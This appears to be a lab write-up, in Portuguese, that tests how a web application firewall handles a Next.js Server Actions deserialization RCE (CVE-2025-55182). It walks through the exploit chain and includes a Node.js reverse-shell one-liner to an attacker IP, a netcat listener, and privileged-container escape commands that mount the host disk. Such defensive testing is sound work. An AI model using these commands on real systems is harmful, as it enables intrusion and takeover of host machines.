Olá, Habr! Meu nome é Ivan Chebotarev, engenheiro de proteção de aplicações na K2 Cybersecurity. Neste artigo, analisarei como o PT Cloud Application Firewall (ucWAF) reage à fuga de contêineres após RCE usando a nova CVE-2025-55182. Esta é uma vulnerabilidade no Next.js que permite Remote Code Execution através do mecanismo Server Actions. Montei um ambiente de teste com um Next.js vulnerável e verifiquei: um web shell clássico, um Reverse Shell e a fuga de contêiner. Next.js é um dos frameworks de frontend mais populares, e Server Actions estão ativados por padrão a partir da versão 14. Se você implanta Next.js em contêineres, este artigo mostrará como é a cadeia completa de RCE à saída para o host, e em qual estágio o WAF pode detê-la.
Arquitetura do Ambiente de Teste
Para demonstrar o funcionamento da vulnerabilidade e testar o WAF, implantei um ambiente de teste na nuvem com três componentes: Estação de Trabalho do Atacante → ucWAF → Servidor Next.js. A Estação de Trabalho do Atacante envia uma requisição maliciosa para o ucWAF. O ucWAF a processa através das regras, a encaminha para o servidor Next.js, recebe a resposta e a retorna ao atacante.
Servidor Next.js
Como alvo do ataque, escolhi uma imagem de teste pronta de uma aplicação vulnerável no GitHub: github.com/msanft/CVE-2025-55182. Criamos um Dockerfile:
dockerfileFROM node:20-alpine WORKDIR /app COPY package*.json ./ RUN npm install COPY . . EXPOSE 3000 CMD ["npm", "run", "dev"]
Construímos a imagem e iniciamos o contêiner:
bashdocker build -t cve . docker run --privileged -d -p 3000:3000 --name cve-test cve-test
Verificamos o log do contêiner para garantir que ele está funcionando corretamente e passamos para o próximo componente:
bashdocker logs -f cve
Nginx com Cérebro
O PT Cloud Application Firewall é um proxy reverso nginx com um módulo da Positive Technology que implementa funcionalidades de WAF. O ucWAF é instalado "em linha" de forma que todo o tráfego de entrada passe por ele e, após análise e filtragem, seja encaminhado para o servidor de destino. O servidor Next.js está em uma sub-rede isolada e não é diretamente acessível de fora. Para o servidor de destino, o ucWAF parece um cliente comum, um intermediário completamente "transparente".
Configuração do nginx:
nginxupstream next { server 172.31.5.5:3000; } server { listen 80; server_name next; location / { proxy_pass http://next; proxy_set_header Host $host; proxy_set_header X-Real_IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } }
A seção upstream define o endereço do servidor de destino (172.31.5.5:3000). A seção server define a porta de escuta e os cabeçalhos para um proxy correto. Detalhe importante: server_name next, e não _. Isso significa que antes de testar, é necessário adicionar uma entrada em /etc/hosts: <IP_WAF> next. Para nossos testes, o WAF inicialmente operou em modo de monitoramento para vermos o que exatamente estava sendo acionado.
O que são Server Actions e o que há de errado com elas
Agora, um pouco de teoria. Você está escrevendo uma aplicação full-stack em Next.js e deseja executar alguma lógica diretamente no servidor sem criar um endpoint de API separado, REST ou GraphQL. Com Server Actions, é simples: você escreve uma função, a marca com a diretiva use server, e o Next.js cuida do roteamento. Ele cria um identificador de hash exclusivo para a função e começa a aceitar requisições POST para /_next/action com esse hash no cabeçalho Next-Action. Conveniente, rápido e sem código boilerplate. Não é de se admirar que os desenvolvedores tenham começado a usar ativamente Server Actions logo após seu surgimento como recurso experimental na versão 13 do Next.js.
Mas há um porém: mesmo que a aplicação não tenha nenhuma função com use server, o mecanismo de processamento de Server Actions está ativado por padrão (parâmetro serverActions: true).
javascript/** @type {import('next').NextConfig} */ const nextConfig = { experimental: { serverActions: true, // habilita Server Actions }, poweredByHeader: false, compress: true, reactStrictMode: true, };
O manipulador /_next/action (ou POST para qualquer página com o cabeçalho Next-Action) inicia a desserialização através de decodeReplyFromBusboy. A superfície de ataque existe em qualquer aplicação Next.js com configurações padrão, mesmo que você mesmo não use Server Actions.
Princípio de Funcionamento da CVE
A essência da vulnerabilidade CVE-2025-55182 é que é suficiente para um invasor enviar uma requisição POST para qualquer rota do Next.js com o cabeçalho Next-Action (qualquer valor) e um corpo multipart especialmente formado. A vulnerabilidade é acionada na etapa de desserialização do React Flight Protocol, antes da verificação do hash da ação. Assim, o RCE é alcançado com uma única requisição, mesmo que a aplicação não tenha nenhuma Server Action real. Para realizar o ataque, é necessário enviar uma requisição multipart/form-data especialmente formada, que contém vários chunks de dados. Esses chunks podem se referir uns aos outros, criando estruturas complexas.
A vulnerabilidade reside no fato de que, ao percorrer essas referências, o React não verificava se a chave solicitada existia no objeto. Isso permitia chegar à cadeia de protótipos (__proto__) e, finalmente, ao construtor de funções (Function) em apenas seis etapas:
- Thenable Falso: Primeiro, um objeto (chunk 0) é criado, onde o campo
thené definido como"$1:__proto__:then". Esta é uma referência aothendo protótipo do chunk (Chunk.prototype.then). Como resultado, quando este objeto é retornado dedecodeReplyFromBusboyeawaittenta resolvê-lo,Chunk.prototype.thené chamado. O controle é transferido para a funçãoinitializeModelChunk, onde o processamento secundário começa. - Uso de
$@para Acesso ao Chunk Bruto: No segundo chunk (chunk 1), é colocado"$@0", o que significa "retornar o chunk bruto 0 sem resolver referências". Isso permite reutilizar o mesmo objeto, mas comstatusjá definido como"resolved_model"e outros campos controláveis. - Injeção através do Manipulador Blob (
$B): Dentro deinitializeModelChunk, o valorchunk.valueé analisado como JSON. Um valor especialmente formado'{ "then": "$B0" }'força o manipulador do protocolo Flight a executar o código para um blob ($B). O manipulador$Bexecuta:response._formData.get(response._prefix + obj). Aqui,obj = 0,_formDatae_prefixsão controlados pelo atacante através do campo_responseno mesmo chunk. - Substituição de
_formData.getpelo ConstrutorFunction: Em_response._formDataé passado um objeto cujo métodogeté substituído por"$1:constructor:constructor". Graças ao acesso prototípico, isso se transforma emFunction- o construtor embutido que cria funções a partir de uma string de código. - Execução de Código Arbitrário: Em
_prefixé colocada uma string com o código JavaScript que deve ser executado. Como resultado da chamada:response._formData.get(response._prefix + "0"), o métodogeté substituído pelo construtorFunction, então, na verdade,Function(code)é chamado. A função criada é retornada como um thenable e imediatamente chamada pelo motor Promise, pois todo o mecanismo de desserialização funciona em uma cadeia assíncrona. Assim, o código é executado. - RCE via
child_process: No código, é usadoimport('child_process').then(cp => cp.execSync('comando'))(ourequire, se for ambiente CommonJS). A saída do comando pode ser exfiltrada, por exemplo, lançando um erro com o resultado, que cairá no campodigestda resposta.
É importante notar que o ataque ocorre na etapa de desserialização, antes mesmo que o Next.js verifique qual Server Action específico está sendo chamado. Isso significa que qualquer servidor com Server Actions habilitadas é vulnerável, mesmo que a aplicação não tenha funções perigosas. Em nosso ambiente, não há ações de servidor, mas como elas estão habilitadas, podemos enviar código malicioso. Mais detalhes sobre isso podem ser encontrados com o autor do ambiente: msanft/CVE-2025-55182.
Cenário 0: Testando o PoC Original
Começaremos com o PoC original do mesmo projeto no GitHub. Para executá-lo, será necessário Python com a biblioteca requests. Através do PoC, é possível executar comandos no servidor e obter a saída. Por exemplo, chamamos a execução de um script e passamos o servidor Next.js e o comando: python3 exp.py http://next "ls", e em resposta recebemos:
1:E{"digest":"Dockerfile\nREADME.md\napp\nbun.lock\neslint.config.mjs\nnext-env.d.ts\nnext.config.ts\nnode_modules\npackage-lock.json\npackage.json\npostcss.config.mjs\npublic\ntsconfig.json","name":"Error","message":"NEXT_REDIRECT","stack":[],"env":"Server","owner":null}
Assim, como resultado da exploração, o servidor retorna o status HTTP 500 Internal Server Error, pois a execução do payload leva a uma exceção intencional (NEXT_REDIRECT). No entanto, antes disso, o código arbitrário consegue ser executado, e sua saída (ou resultado da execução do comando) é passada dentro do erro no campo digest. Assim, o atacante pode obter execução remota de comandos com o resultado.
Montei uma interface web simples sobre este PoC para não ter que lidar com o console: as requisições e respostas do servidor agora são visíveis diretamente no navegador. Tudo isso deve ser executado a partir da Estação de Trabalho do Atacante, e tanto o PoC quanto a interface web estarão lá.
Se enviarmos uma requisição maliciosa para o servidor agora, encontraremos CORS (Cross-Origin Resource Sharing). O navegador, antes de enviar uma requisição para um domínio diferente, envia uma requisição OPTIONS (preflight) para saber os métodos, cabeçalhos, etc. Nosso servidor não espera tais requisições e honestamente retornará um erro 400. É como ir a uma festa com um convite e descobrir que o segurança não tem a lista de convidados. Para resolver esse problema, é necessário um proxy no servidor do atacante. Pela mesma analogia: não discutiremos com o segurança, mas pediremos a um colega que já entrou na festa para levar um presente e entregá-lo lá dentro.
A esquema é a seguinte: o navegador envia requisições para o seu próprio servidor do atacante, e este as encaminha diretamente para o domínio de destino - sem preflight, sem CORS. Também seria possível desativar a política CORS no navegador, mas isso é menos conveniente e mais fácil de se confundir.
Cenário 1: Web Shell Clássico contra WAF
Nosso ucWAF detecta requisições enviadas via /proxy ou diretamente via script. O ucWAF analisa a requisição por chaves, incluindo o corpo POST, e procura por padrões característicos de injeção de comandos do SO, detectando o Web Shell através de assinaturas embutidas sem qualquer configuração adicional.
Lá mesmo na interface, é possível ver os dados "brutos" - a própria requisição e a resposta. Claro, o servidor retorna uma resposta apenas porque o ucWAF está operando em modo de detecção. Em modo de bloqueio, ele teria rejeitado a requisição, e não teríamos recebido nenhuma resposta.
Cenário 2: Reverse Shell
Agora, vamos considerar um cenário mais interessante em que o tráfego flui diretamente entre o servidor e o atacante, contornando o WAF, de modo que a única chance de impedir o ataque é interceptar a requisição inicial que é executada através de executeCommand.
bashnode -e "const net=require('net'),cp=require('child_process'),sh=cp.spawn('/bin/sh',[]);const client=new net.Socket();client.connect(4444,'172.31.5.22',()=>{client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});"
O Node.js estabelece uma conexão TCP de saída para a Estação de Trabalho do Atacante (172.31.5.22:4444) e encaminha o stdin/stdout do shell através dela. Ao contrário do web shell, aqui todo o tráfego subsequente flui diretamente entre o servidor e o atacante, contornando o WAF. É por isso que é tão importante bloquear a primeira requisição; após o estabelecimento da conexão, o WAF não verá mais nada.
Antes de enviar, mudaremos o ucWAF para o modo de bloqueio e veremos o que acontece. Em nosso site, vemos a resposta:
Na interface web do ucWAF, vemos nosso acionamento sem código de resposta.
No mapa de acionamentos, vemos por qual critério o ataque foi bloqueado. A requisição para o Reverse Shell aciona uma série de regras, e nos logs fica aquela em que o WAF interrompe a conexão. Abaixo, mudaremos o SZI para o modo de escuta e nos certificaremos de que o ucWAF aciona tanto o React quanto o CVE-2025-55182 (React).
Bloquear tal requisição é importante: se ela for executada com sucesso, o atacante estabelecerá uma sessão diretamente com a Estação de Trabalho, contornando o ucWAF. Depois disso, já não será possível rastrear suas ações.
Vamos ver o que isso implica na prática. Na Estação de Trabalho do Atacante, é necessário abrir uma porta para escuta (no meu caso, 4444). Para isso, precisaremos do netcat:
bashnc -lvnp 4444
Mudaremos o ucWAF para o modo de detecção e veremos como o ataque se parece. No log de acionamentos do ucWAF, haverá apenas uma requisição para tal conexão e os comandos seguintes virão diretamente.
Como vemos, no modo de monitoramento, o WAF não interrompeu a conexão e a regra foi acionada por todas as assinaturas que foram incorporadas ao WAF.
O código de resposta aqui não significa que o ucWAF bloqueou algo no modo de monitoramento. Ele indica outra coisa: a requisição estabeleceu uma conexão via Reverse Shell, e o servidor Next.js não respondeu porque estabeleceu a conexão e não tem nada a retornar. Três acionamentos ao mesmo tempo, porque a requisição com o Reverse Shell atinge várias regras simultaneamente. Em nosso caso, houve um acionamento: o ucWAF bloqueou o ataque pelo primeiro critério e não verificou mais as regras.
Fuga de Contêiner
Já mostramos que é possível executar comandos dentro do contêiner através da CVE-2025-55182, mas este é um ambiente isolado, e o RCE em si não significa acesso ao host. Outra coisa é se o contêiner for iniciado com o flag --privileged. Um contêiner privilegiado recebe o conjunto completo de capacidades Linux e acesso direto aos dispositivos do host através de /dev. Essencialmente, o que o separa de um root completo no host é apenas o sistema de arquivos: o contêiner tem o seu próprio. Mas se for possível acessar dispositivos de bloco, nada impede de montar o disco do host e obter acesso a todos os seus arquivos.
Em produção, --privileged é às vezes usado "por conveniência": para que o contêiner possa trabalhar com o socket Docker, gerenciar a rede ou acessar a GPU. Em nosso ambiente, o habilitamos intencionalmente para mostrar toda a cadeia de ataque de RCE à saída para o host. Esclarecimento importante: estou mostrando a fuga especificamente de um contêiner privilegiado. Se o contêiner for iniciado com configurações padrão, a técnica descrita abaixo não funcionará.
Iniciaremos o contêiner em modo privilegiado:
bashdocker run --privileged -d -p 3000:3000 --name cve cve
De dentro do contêiner, é possível verificar quais capacidades ele recebeu:
bashcat /proc/self/status | grep -i capeff
O valor CapEff é uma máscara de bits das capacidades ativas. Se for 0000001fffffffff ou um valor próximo a ele, todas as capacidades estão habilitadas, o contêiner é privilegiado. Um valor como 00000000a80425fb significa um conjunto restrito - este é um contêiner padrão, e a montagem de discos do host não está disponível para ele.
Montando o Sistema de Arquivos do Host
Em seguida, o atacante, através do nosso web shell, executa sequencialmente quatro comandos:
bash# 1. Encontrar discos lsblk || fdisk -l || ls -la /dev/sd* /dev/vd* # 2. Criar ponto de montagem mkdir -p /host # 3. Montar (substituir disco necessário) mount /dev/vda1 /host && echo "Mounted!" || echo "Failed" # 4. Verificar conteúdo ls /host/
O primeiro comando procura por dispositivos de bloco. Em ambientes de nuvem, o disco do host é geralmente chamado de /dev/vda1 ou /dev/sda1. Um contêiner privilegiado vê todos os dispositivos do host em /dev, então lsblk os mostrará da mesma forma que no próprio host.
Após montar /dev/vda1 no diretório /host, o atacante obtém acesso total ao sistema de arquivos do host: /host/etc/shadow com hashes de senha, /host/root/.ssh/ com chaves, configurações de outros serviços - tudo está aberto. É possível ler, é possível escrever. Por exemplo, adicionar sua própria chave SSH em authorized_keys e obter acesso persistente ao host, mesmo após o contêiner ser parado.
O que o ucWAF vê após uma fuga de contêiner bem-sucedida
Vamos ver como o ucWAF reage a essa cadeia de comandos. Cada comando enviado através do web shell passa pelo ucWAF como uma requisição POST separada. O WAF registra acionamentos em padrões característicos: acesso a /dev/, chamadas mount, leitura de diretórios do sistema. Tudo isso são sinais típicos de uma tentativa de fuga de contêiner, e o WAF os captura por assinaturas embutidas.
No cartão da requisição específica, é possível ver qual regra exata foi acionada e em qual fragmento do comando.
Acionamento em um comando específico enviado. E aqui está o que obtemos como resultado.
Na captura de tela, a saída de ls /host/: o sistema de arquivos raiz do host, montado dentro do contêiner. A partir deste momento, a diferença entre "RCE no contêiner" e "root no host" desaparece.
Patch ou Bloquear
Coloque a vírgula você mesmo, mas primeiro vamos resumir. O experimento mostrou que o PT Cloud Application Firewall bloqueou corretamente ambos os cenários principais de ataque através da CVE-2025-55182. Como resultado, um servidor Next.js não corrigido com ucWAF ficou protegido da exploração da nova CVE.
No entanto, o WAF fornece controle compensatório, não substituindo completamente os patches. Se amanhã surgir uma técnica de ofuscação que as regras atuais não cubram, o WAF deixará passar tal requisição, e o invasor poderá explorar a vulnerabilidade. Nisso, o WAF é semelhante a um bom segurança: ele conhece a lista de convidados indesejados, mas é melhor que a porta ainda esteja trancada, porque a lista sempre fica um pouco atrás da realidade.
De acordo com nossas estimativas, novas regras para o PT Cloud AF aparecem dentro de um dia após a publicação da CVE, enquanto o fechamento da vulnerabilidade pode levar de vários dias a meses, no caso de sistemas corporativos complexos. O WAF fecha exatamente a janela que inevitavelmente surge entre "ameaça conhecida" e "patch implantado", mas não substitui os patches.
Reproduza Você Mesmo
A plataforma para ataques está disponível no GitHub: github.com/DeDnY/CVE-2025-55182-in-docker. O README ainda está em desenvolvimento, mas as instruções básicas de implantação estão descritas neste artigo. O ucWAF ou qualquer outro WAF deve ser adicionado por conta própria. A arquitetura do ambiente é intencionalmente simples para que qualquer solução possa ser substituída e os resultados comparados.
